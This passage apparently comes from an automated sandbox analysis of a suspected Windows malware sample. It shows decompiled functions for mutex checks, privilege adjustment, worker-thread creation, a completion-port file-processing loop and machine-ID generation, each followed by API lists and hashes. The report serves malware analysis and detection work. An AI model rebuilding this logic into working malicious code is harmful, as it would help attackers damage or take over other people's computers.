              				WCHAR* _t32;
              				void* _t36;
              
              				_t36 = __eflags;
              				_push(_t24);
              				_t27 = 0;
              				E02356595(0x2361278, 0x2a4, 0xc, 6,  &_v12);
              				_v6 = 0;
              				_t12 = E02356A03(_a4);
              				_t32 = E02355174(2 + (_t12 + E02356A03( &_v12)) * 2);
              				E0235695A(_t32, _a4);
              				E02356878(_t36, _t32,  &_v12);
              				_t20 = CreateFileW(_t32, 0x40000000, 4, 0, 2, 0x4000100, 0); // executed
              				if(_t20 != 0xffffffff) {
              					_t27 = 1;
              					CloseHandle(_t20);
              				}
              				E023551C1(_t32);
              				return _t27;
              			}










              0x023532a5
              0x023532a9
              0x023532af
              0x023532c0
              0x023532ca
              0x023532ce
              0x023532f0
              0x023532f3
              0x023532fd
              0x02353316
              0x0235331f
              0x02353322
              0x02353323
              0x02353323
              0x0235332a
              0x02353337

              APIs
                • Part of subcall function 02355174: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,02351548), ref: 02355189
                • Part of subcall function 02355174: GetProcessHeap.KERNEL32(?,02351548), ref: 02355198
              • CreateFileW.KERNELBASE(00000000,40000000,00000004,00000000,00000002,04000100,00000000), ref: 02353316
              • CloseHandle.KERNEL32(00000000), ref: 02353323
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: CreateHeap$CloseFileHandleProcess
              • String ID:
              • API String ID: 3880077155-0
              • Opcode ID: 66b5411930c018f6ac7d1cc654b8d2f4188a4b11c6bf2f75747854d36f13a7a3
              • Instruction ID: bdaebbe1e2f704f9df960e9666ed112fbaffd1acfd038a55a0db0631ed3f86dd
              • Opcode Fuzzy Hash: 66b5411930c018f6ac7d1cc654b8d2f4188a4b11c6bf2f75747854d36f13a7a3
              • Instruction Fuzzy Hash: 7401D8F294022436EB3167649C0BFEF3A6DCF86760F804211FD0CE6080EA70AA514EE5
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 90%
              			E02357EA3(void* _a4, _Unknown_base(*)()* _a8) {
              				signed int _t8;
              				void* _t11;
              				void* _t15;
              				struct _SECURITY_ATTRIBUTES* _t17;
              				void* _t20;
              				void* _t21;
              
              				_t21 = _a4;
              				_t17 = 0;
              				 *((intOrPtr*)(_t21 + 8)) = 0;
              				_t8 = E02355AEB(); // executed
              				if((_t8 & 0x7fffffff) <= 0) {
              					L3:
              					return 1;
              				} else {
              					goto L1;
              				}
              				while(1) {
              					L1:
              					_t11 = CreateThread(0, 0, _a8, _t21, 0, 0); // executed
              					_t20 = _t11;
              					if(_t20 == 0) {
              						break;
              					}
              					SetThreadPriority(_t20, 2); // executed
              					 *((intOrPtr*)(_t21 + 8)) =  *((intOrPtr*)(_t21 + 8)) + 1;
              					E02355416(_t20);
              					_t17 =  &(_t17->nLength); // executed
              					_t15 = E02355AEB(); // executed
              					_push(0);
              					_pop(0);
              					if(_t17 < _t15 + _t15) {
              						continue;
              					}
              					goto L3;
              				}
              				return 0;
              			}









              0x02357ea8
              0x02357eae
              0x02357eb0
              0x02357eb3
              0x02357ebd
              0x02357ef5
              0x00000000
              0x00000000
              0x00000000
              0x00000000
              0x02357ebf
              0x02357ebf
              0x02357ec7
              0x02357ecd
              0x02357ed1
              0x00000000
              0x00000000
              0x02357ed6
              0x02357edc
              0x02357ee0
              0x02357ee6
              0x02357ee7
              0x02357eee
              0x02357ef0
              0x02357ef3
              0x00000000
              0x00000000
              0x00000000
              0x02357ef3
              0x00000000

              APIs
                • Part of subcall function 02355AEB: GetSystemInfo.KERNELBASE(?,?,023539DE,?,00000000,00000000,02353B70,?,?,00000000), ref: 02355AF5
              • CreateThread.KERNELBASE(00000000,00000000,?,?,00000000,00000000), ref: 02357EC7
              • SetThreadPriority.KERNELBASE(00000000,00000002,?,02357F44,?,00000000,?,023539DE,?,00000000,00000000,02353B70,?,?,00000000), ref: 02357ED6
                • Part of subcall function 02355416: CloseHandle.KERNEL32(00000000,?,02357EE5,00000000,?,02357F44,?,00000000,?,023539DE,?,00000000,00000000,02353B70), ref: 02355422
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: Thread$CloseCreateHandleInfoPrioritySystem
              • String ID:
              • API String ID: 3033971346-0
              • Opcode ID: a78ecc18c9968a4a1e12676fa13039ed7816147d0ce2abc1cb7113f7a4954bc6
              • Instruction ID: 3b10bf29960125367f83cb98bfff2be35b12a6d0a41db823611502908f1083e7
              • Opcode Fuzzy Hash: a78ecc18c9968a4a1e12676fa13039ed7816147d0ce2abc1cb7113f7a4954bc6
              • Instruction Fuzzy Hash: 62F024736403247AD3221677AC88D7BBAADDBC6BA1F10842AFD2DC6540DA30D8029630
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E023559CD(void* __edx) {
              				short _v6;
              				short _v92;
              				intOrPtr _v117;
              				void* _t10;
              				struct _SECURITY_ATTRIBUTES* _t15;
              
              				_v117 = _v117 + __edx;
              				E02356595(0x23628c0, 0x63b, 0xc, 0x56,  &_v92);
              				_v6 = 0;
              				_t15 = 0;
              				_t10 = CreateMutexW(0, 0,  &_v92); // executed
              				 *0x2363068 = _t10;
              				if(_t10 != 0 && RtlGetLastWin32Error() == 0xb7) {
              					_t15 = 1;
              				}
              				return _t15;
              			}








              0x023559cd
              0x023559e7
              0x023559f1
              0x023559f5
              0x023559fd
              0x02355a03
              0x02355a0a
              0x02355a19
              0x02355a19
              0x02355a20

              APIs
              • CreateMutexW.KERNELBASE(00000000,00000000,?), ref: 023559FD
              • RtlGetLastWin32Error.NTDLL ref: 02355A0C
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: CreateErrorLastMutexWin32
              • String ID:
              • API String ID: 682235734-0
              • Opcode ID: 2ed0b75941fbd853fc113ca60af98355a51eb40458df75c186f1f715d04a3572
              • Instruction ID: 8999b637c6ea56d401fa60edabe6124619e2c1d59da38797015e483e43f08bee
              • Opcode Fuzzy Hash: 2ed0b75941fbd853fc113ca60af98355a51eb40458df75c186f1f715d04a3572
              • Instruction Fuzzy Hash: 3BF027A1E802646AEB106BE89C0AE9B3BBCDF05700F004461FE09E6084E7608118C7E1
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E023559CE() {
              				short _v6;
              				short _v92;
              				void* _t8;
              				struct _SECURITY_ATTRIBUTES* _t11;
              
              				E02356595(0x23628c0, 0x63b, 0xc, 0x56,  &_v92);
              				_v6 = 0;
              				_t11 = 0;
              				_t8 = CreateMutexW(0, 0,  &_v92); // executed
              				 *0x2363068 = _t8;
              				if(_t8 != 0 && RtlGetLastWin32Error() == 0xb7) {
              					_t11 = 1;
              				}
              				return _t11;
              			}







              0x023559e7
              0x023559f1
              0x023559f5
              0x023559fd
              0x02355a03
              0x02355a0a
              0x02355a19
              0x02355a19
              0x02355a20

              APIs
              • CreateMutexW.KERNELBASE(00000000,00000000,?), ref: 023559FD
              • RtlGetLastWin32Error.NTDLL ref: 02355A0C
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: CreateErrorLastMutexWin32
              • String ID:
              • API String ID: 682235734-0
              • Opcode ID: 7e70c06a8f4abc352378fb3c96da4574b428d729e7cb597f5fad50efded43298
              • Instruction ID: de6c1d7658d3fe82db3d80a92e60acdd4bd70ce7ace3c031b1a7f4f9ab7f298b
              • Opcode Fuzzy Hash: 7e70c06a8f4abc352378fb3c96da4574b428d729e7cb597f5fad50efded43298
              • Instruction Fuzzy Hash: DAF023B1E802246BE7106BE89C0AF9B77FCDF45700F414461FE09E6184FB609514C7E1
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E02357C36(void* __ecx, long _a4) {
              				char _v5;
              				long _t7;
              				long _t11;
              
              				_v5 = 0;
              				_t7 = RtlAdjustPrivilege(_a4, 1, 1,  &_v5);
              				if(_t7 == 0 || _t7 != 0xc000007c) {
              					L4:
              					return 1;
              				} else {
              					_t11 = RtlAdjustPrivilege(_a4, 1, 0,  &_v5); // executed
              					if(_t11 == 0) {
              						goto L4;
              					}
              					return 0;
              				}
              			}






              0x02357c3d
              0x02357c49
              0x02357c51
              0x02357c73
              0x00000000
              0x02357c5a
              0x02357c65
              0x02357c6d
              0x00000000
              0x00000000
              0x00000000
              0x02357c6f

              APIs
              • RtlAdjustPrivilege.NTDLL(02353E1B,00000001,00000001,?), ref: 02357C49
              • RtlAdjustPrivilege.NTDLL(02353E1B,00000001,00000000,00000000), ref: 02357C65
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: AdjustPrivilege
              • String ID:
              • API String ID: 3260937286-0
              • Opcode ID: e984061245670f7b8104d2a833aa3a2434dd00d69f837120e9aaa22129c6d7e3
              • Instruction ID: 260572dfcab920b111f651059fcf6b27ed3c3c09dc1fa6d32522a8252fed3eee
              • Opcode Fuzzy Hash: e984061245670f7b8104d2a833aa3a2434dd00d69f837120e9aaa22129c6d7e3
              • Instruction Fuzzy Hash: ADE092B0A98248BEFF208B61CC45FEBBBADDB04744F0045A8FD09E51D0DBA2D5568654
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E0235510A(void* _a4, long _a8) {
              				void* _t4;
              
              				if(_a8 != 0) {
              					while(1) {
              						_t4 = RtlAllocateHeap(_a4, 8, _a8); // executed
              						if(_t4 != 0) {
              							break;
              						}
              						Sleep(0xa);
              					}
              					return _t4;
              				} else {
              					return 0;
              				}
              			}




              0x02355111
              0x0235511f
              0x02355127
              0x0235512f
              0x00000000
              0x00000000
              0x02355119
              0x02355119
              0x02355132
              0x02355113
              0x02355116
              0x02355116

              APIs
              • RtlAllocateHeap.NTDLL(?,00000008,00000000), ref: 02355127
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: AllocateHeap
              • String ID:
              • API String ID: 1279760036-0
              • Opcode ID: 372c7951b7f03291115e94bc1d3139b859a9d405c2976eaf4adbb8a5c00882d4
              • Instruction ID: 1ef4f57e799bd147ccbddf21817887248d6d1846aa31ab6364816c58e74709c1
              • Opcode Fuzzy Hash: 372c7951b7f03291115e94bc1d3139b859a9d405c2976eaf4adbb8a5c00882d4
              • Instruction Fuzzy Hash: 69D0A73128031CAFEF000EA1EC0AB553B5CBB00716F40C050FE0C89490D771D6628F10
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 70%
              			E02351E18(void* __edx, int* _a4) {
              				char _v8;
              				short _v12;
              				char _v28;
              				short _v30;
              				char _v80;
              				short _v82;
              				char _v396;
              				void* _t29;
              				intOrPtr _t35;
              				void* _t39;
              				void* _t41;
              				void* _t46;
              				void* _t53;
              				void* _t55;
              				void* _t57;
              				void* _t58;
              				int* _t59;
              				void* _t60;
              				void* _t62;
              				void* _t63;
              
              				_t58 = __edx;
              				E02356595(0x2361278, 0x344, 0x10, 0x32,  &_v80);
              				_v30 = 0;
              				E02356595(0x2361278, 0xd7b, 7, 0x10,  &_v28);
              				_t59 = _a4;
              				_v12 = 0;
              				_t29 = E02355CB3(0x80000002,  &_v80,  &_v28,  &_v8, _t59); // executed
              				_t60 = _t29;
              				_t63 = _t62 + 0x3c;
              				if(_t60 != 0) {
              					L2:
              					if(_v8 == 3) {
              						L8:
              						return _t60;
              					}
              					L3:
              					_t55 = E02355174(0x20000);
              					if(_t55 != 0) {
              						E02356595(0x2361278, 0xe79, 9, 0x13a,  &_v396);
              						_v82 = 0;
              						_t35 =  *0x2363528; // 0x2ac5e90
              						 *0x236274c(_t55, 0x20000,  &_v396, 0x207,  *0x2363510,  *0x2363514,  *0x236352c,  *0x2363530,  *0x2363534,  *0x2363538,  *0x236353c,  *0x2363540,  *0x2363544,  *0x2363548,  *0x236354c,  *0x23635ac,  *0x2363550, _t35 + 2);
              						_t39 = E02356A03(_t55);
              						_t57 = _t59;
              						_push(_t39 + _t39);
              						_push(_t55);
              						_push(0x2361000); // executed
              						_t41 = E0235731D(_t58); // executed
              						_t60 = _t41;
              						E023551C1(_t55);
              						if(_t60 == 0) {
              							goto L4;
              						}
              						_t46 = E02355D32(_t57, 0x80000002,  &_v80,  &_v28, 3, _t60,  *_t59); // executed
              						if(_t46 == 0) {
              							E02355D32(_t57, 0x80000001,  &_v80,  &_v28, 3, _t60,  *_t59);
              						}
              						goto L8;
              					}
              					L4:
              					return 0;
              				}
              				_t53 = E02355CB3(0x80000001,  &_v80,  &_v28,  &_v8, _t59); // executed
              				_t60 = _t53;
              				_t63 = _t63 + 0x14;
              				if(_t60 == 0) {
              					goto L3;
              				}
              				goto L2;
              			}























              0x02351e18
              0x02351e37
              0x02351e3e
              0x02351e50
              0x02351e55
              0x02351e5a
              0x02351e70
              0x02351e75
              0x02351e77
              0x02351e7c
              0x02351e9e
              0x02351ea2
              0x02351fb3
              0x00000000
              0x02351fb3
              0x02351ea8
              0x02351eb3
              0x02351eb8
              0x02351ed9
              0x02351ee0
              0x02351ee4
              0x02351f49
              0x02351f54
              0x02351f59
              0x02351f5c
              0x02351f5d
              0x02351f5e
              0x02351f63
              0x02351f69
              0x02351f6b
              0x02351f75
              0x00000000
              0x00000000
              0x02351f8d
              0x02351f97
              0x02351fab
              0x02351fb0
              0x00000000
              0x02351f97
              0x02351eba
              0x00000000
              0x02351eba
              0x02351e90
              0x02351e95
              0x02351e97
              0x02351e9c
              0x00000000
              0x00000000
              0x00000000

              APIs
                • Part of subcall function 02355CB3: RegOpenKeyExW.KERNELBASE(0000000C,0000000D,00000000,00000001,?,02361278,00000000,?,?,0235239C,80000002,?,?,?,?,02361278), ref: 02355CCA
                • Part of subcall function 02355CB3: RegQueryValueExW.KERNELBASE(?,0000114A,00000000,02361278,00000000,?,80000002,?,?,0235239C,80000002,?,?,?,?,02361278), ref: 02355CE4
                • Part of subcall function 02355CB3: RegQueryValueExW.KERNELBASE(?,0000114A,00000000,02361278,00000000,?,?,?,0235239C,80000002,?,?,?,?,02361278,0000114A), ref: 02355D0D
                • Part of subcall function 02355CB3: RegCloseKey.KERNELBASE(?,?,?,0235239C,80000002,?,?,?,?,02361278,0000114A,0000000D,0000000C,?), ref: 02355D23
              • _snwprintf.NTDLL ref: 02351F49
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: QueryValue$CloseOpen_snwprintf
              • String ID:
              • API String ID: 775465768-0
              • Opcode ID: 1fe62a04558ab599b0e9b4dd8b69c51f4fcd1d30586d28fd70939b8a441633be
              • Instruction ID: 9fa55481e27977179e4815770c39e728d221136152a2d737551a596f2a121b36
              • Opcode Fuzzy Hash: 1fe62a04558ab599b0e9b4dd8b69c51f4fcd1d30586d28fd70939b8a441633be
              • Instruction Fuzzy Hash: B34154B2D80218BAEB219AD4DC45FEBBB7DEB08B10F404556FF08E7141E76196609FA1
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 87%
              			E02353B70(intOrPtr _a4) {
              				char _v8;
              				char _v12;
              				char _v16;
              				void* _t30;
              				long _t32;
              				void* _t39;
              				void* _t41;
              				void* _t46;
              				char _t51;
              				signed int _t54;
              				char _t56;
              				signed int _t59;
              				signed int _t60;
              				void* _t62;
              				void* _t67;
              				void* _t68;
              				intOrPtr _t74;
              				intOrPtr _t80;
              
              				_t66 = _a4;
              				_t30 = E02357F8A(_a4,  &_v12,  &_v16,  &_v8, 0xffffffff);
              				_t68 = _t67 + 0x14;
              				if( *0x2363044 == 0) {
              					do {
              						if(_t30 == 0) {
              							_t32 = RtlGetLastWin32Error();
              							__eflags = _t32 - 0x26;
              							if(_t32 == 0x26) {
              								E023534D2(_t66, _v8);
              								goto L22;
              							}
              						} else {
              							_push(0);
              							E023580EE(_v8, _v12);
              							_t56 = _v8;
              							_t68 = _t68 + 0xc;
              							if( *0x2363598 == 2 &&  *((intOrPtr*)(_t56 + 0x150)) == 2) {
              								 *((intOrPtr*)(_t56 + 0x20)) =  *((intOrPtr*)(_t56 + 0x20)) - _v12;
              								asm("sbb [ecx+0x24], edi");
              								_t51 = _v8;
              								_t59 =  *0x236359c; // 0x0
              								_t60 = _t59 << 0x14;
              								_t74 =  *((intOrPtr*)(_t51 + 0x24));
              								if(_t74 < 0 || _t74 <= 0 &&  *((intOrPtr*)(_t51 + 0x20)) <= _t60) {
              									_push( *((intOrPtr*)(_t51 + 0x24)));
              									E023580EE(_t51,  *((intOrPtr*)(_t51 + 0x20)));
              									_t68 = _t68 + 0xc;
              								} else {
              									_push(0);
              									E023580EE(_t51, _t60);
              									_t61 = _v8;
              									_t68 = _t68 + 0xc;
              									_t54 =  *0x236359c; // 0x0
              									 *((intOrPtr*)(_t61 + 0x20)) =  *((intOrPtr*)(_v8 + 0x20)) - (_t54 << 0x14);
              									asm("sbb [ecx+0x24], edi");
              								}
              								_t56 = _v8;
              							}
              							_t39 =  *((intOrPtr*)(_t56 + 0x154)) - 1;
              							if(_t39 == 0) {
              								E02353887(_t66, _t56, 2); // executed
              								goto L19;
              							} else {
              								_t41 = _t39 - 1;
              								if(_t41 == 0) {
              									__eflags =  *0x2363598 - 1; // 0x0
              									_t62 = 3;
              									_t44 =  ==  ? _t62 : 1;
              									E02353CBA(_t62, __eflags, _t56, _v12,  ==  ? _t62 : 1); // executed
              									L19:
              									_t68 = _t68 + 0xc;
              								} else {
              									_t46 = _t41 - 1;
              									if(_t46 == 0) {
              										E02353D31(_t56, 4); // executed
              										goto L22;
              									} else {
              										_t79 = _t46 == 1;
              										if(_t46 == 1) {
              											E023537A1(_t79, _t66, _t56); // executed
              											L22:
              										}
              									}
              								}
              							}
              						}
              						_t30 = E02357F8A(_t66,  &_v12,  &_v16,  &_v8, 0xffffffff);
              						_t68 = _t68 + 0x14;
              						_t80 =  *0x2363044; // 0x1
              					} while (_t80 == 0);
              				}
              				asm("lock dec dword [esi+0x8]");
              				return 0;
              			}





















              0x02353b7a
              0x02353b89
              0x02353b8e
              0x02353b98
              0x02353ba1
              0x02353ba3
              0x02353c74
              0x02353c79
              0x02353c7c
              0x02353c82
              0x00000000
              0x02353c82
              0x02353ba9
              0x02353ba9
              0x02353bb0
              0x02353bb5
              0x02353bb8
              0x02353bc2
              0x02353bd0
              0x02353bd3
              0x02353bd6
              0x02353bd9
              0x02353bdf
              0x02353be2
              0x02353be5
              0x02353c0c
              0x02353c13
              0x02353c18
              0x02353bee
              0x02353bee
              0x02353bf1
              0x02353bf6
              0x02353bf9
              0x02353bfc
              0x02353c04
              0x02353c07
              0x02353c07
              0x02353c1b
              0x02353c1b
              0x02353c24
              0x02353c27
              0x02353c6a
              0x00000000
              0x02353c29
              0x02353c29
              0x02353c2c
              0x02353c4e
              0x02353c56
              0x02353c57
              0x02353c5f
              0x02353c6f
              0x02353c6f
              0x02353c2e
              0x02353c2e
              0x02353c31
              0x02353c44
              0x00000000
              0x02353c33
              0x02353c33
              0x02353c36
              0x02353c3a
              0x02353c87
              0x02353c88
              0x02353c36
              0x02353c31
              0x02353c2c
              0x02353c27
              0x02353c98
              0x02353c9d
              0x02353ca0
              0x02353ca0
              0x02353cac
              0x02353cad
              0x02353cb7

              APIs
                • Part of subcall function 02357F8A: GetQueuedCompletionStatus.KERNEL32(?,?,?,?,?,?,02353B8E,?,?,?,?,000000FF), ref: 02357F9F
              • RtlGetLastWin32Error.NTDLL ref: 02353C74
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: CompletionErrorLastQueuedStatusWin32
              • String ID:
              • API String ID: 2679338362-0
              • Opcode ID: 87acbf695b0bc551cae72f6c036dd7a651a3d2705acdadcf322cd61ab825313f
              • Instruction ID: 951670e75387e7d46010d6f102725e828d23d79dac630b84b00545022db4a657
              • Opcode Fuzzy Hash: 87acbf695b0bc551cae72f6c036dd7a651a3d2705acdadcf322cd61ab825313f
              • Instruction Fuzzy Hash: 994191B2C00124FFCB25DBA8C909DAE77BDEF44344F1046EAED0996141D732DA95CB61
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 91%
              			E02355777(void* __edx) {
              				char _v8;
              				short _v12;
              				short _v28;
              				char _v92;
              				WCHAR* _t11;
              				char _t12;
              				void* _t14;
              				void* _t30;
              				WCHAR* _t31;
              
              				_t30 = __edx;
              				_t11 = E02355174(0x22);
              				_t31 = _t11;
              				if(_t31 != 0) {
              					_t12 = E02355FD5(); // executed
              					_v8 = _t12;
              					_t14 = E02357118(0x539,  &_v8, 4);
              					E023551FB( &_v92, 0, 0x40);
              					E0235544D(_t30,  &_v92);
              					E02356595(0x23628c0, 0x124, 8, 0x10,  &_v28);
              					_v12 = 0;
              					_push(_v8);
              					wsprintfW(_t31,  &_v28, E02357118(_t14,  &_v92, E023569F0( &_v92)));
              					return _t31;
              				}
              				return _t11;
              			}












              0x02355777
              0x02355780
              0x02355785
              0x0235578a
              0x0235578d
              0x02355792
              0x023557a0
              0x023557af
              0x023557b8
              0x023557cf
              0x023557d9
              0x023557e0
              0x023557fd
              0x00000000
              0x02355808
              0x0235580d

              APIs
                • Part of subcall function 02355174: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,02351548), ref: 02355189
                • Part of subcall function 02355174: GetProcessHeap.KERNEL32(?,02351548), ref: 02355198
                • Part of subcall function 02355FD5: GetVolumeInformationW.KERNELBASE(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000022,?,02355792,00000000,00000001), ref: 02355FF8
              • wsprintfW.USER32 ref: 023557FD
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: Heap$CreateInformationProcessVolumewsprintf
              • String ID:
              • API String ID: 2230357944-0
              • Opcode ID: aa024936c2770905e8b82972277a9b784b1a25cec061311c51b980d180f03d31
              • Instruction ID: b48ac6f69d14562adb1158c953d9912b7284168e1045ac5f046265f2934187e2
              • Opcode Fuzzy Hash: aa024936c2770905e8b82972277a9b784b1a25cec061311c51b980d180f03d31
              • Instruction Fuzzy Hash: F70180B2A80258BAEB11B6E48C06FEFB77D9F04710F400522FF08EA180EE7067154BA5
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 89%
              			E02353D31(intOrPtr _a4, intOrPtr _a8) {
              				long _t9;
              				intOrPtr _t11;
              				intOrPtr _t15;
              				intOrPtr _t18;
              				void* _t19;
              				void* _t20;
              				intOrPtr _t22;
              
              				_t18 = _a4;
              				 *((intOrPtr*)(_t18 + 0x150)) = 3;
              				 *((intOrPtr*)(_t18 + 0x154)) = _a8;
              				if( *0x2363598 == 1) {
              					_t15 =  *((intOrPtr*)(_t18 + 0x24));
              					_t11 =  *((intOrPtr*)(_t18 + 0x20));
              					_t22 = _t15;
              					if(_t22 >= 0 && (_t22 > 0 || _t11 > 0x100000)) {
              						asm("sbb ecx, 0x0");
              						_push(_t15);
              						E023580EE(_t18, _t11 - 0x100000);
              						_t19 = _t19 + 0xc;
              					}
              				}
              				_t17 = _t18 + 0x28;
              				_t9 = E02358108(_t18, _t18 + 0x28, 0xe8); // executed
              				_t20 = _t19 + 0xc;
              				while(_t9 == 0) {
              					_t9 = RtlGetLastWin32Error();
              					if(_t9 == 0x3e5) {
              						break;
              					}
              					E02355FC7(_t9, 0x64);
              					_t9 = E02358108(_t18, _t17, 0xe8);
              					_t20 = _t20 + 0x10;
              				}
              				return _t9;
              			}










              0x02353d39
              0x02353d3d
              0x02353d47
              0x02353d54
              0x02353d56
              0x02353d59
              0x02353d5c
              0x02353d5e
              0x02353d6d
              0x02353d70
              0x02353d73
              0x02353d78
              0x02353d78
              0x02353d5e
              0x02353d80
              0x02353d86
              0x02353d8b
              0x02353dae
              0x02353d90
              0x02353d9a
              0x00000000
              0x00000000
              0x02353d9e
              0x02353da6
              0x02353dab
              0x02353dab
              0x02353db6

              APIs
              • RtlGetLastWin32Error.NTDLL ref: 02353D90
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
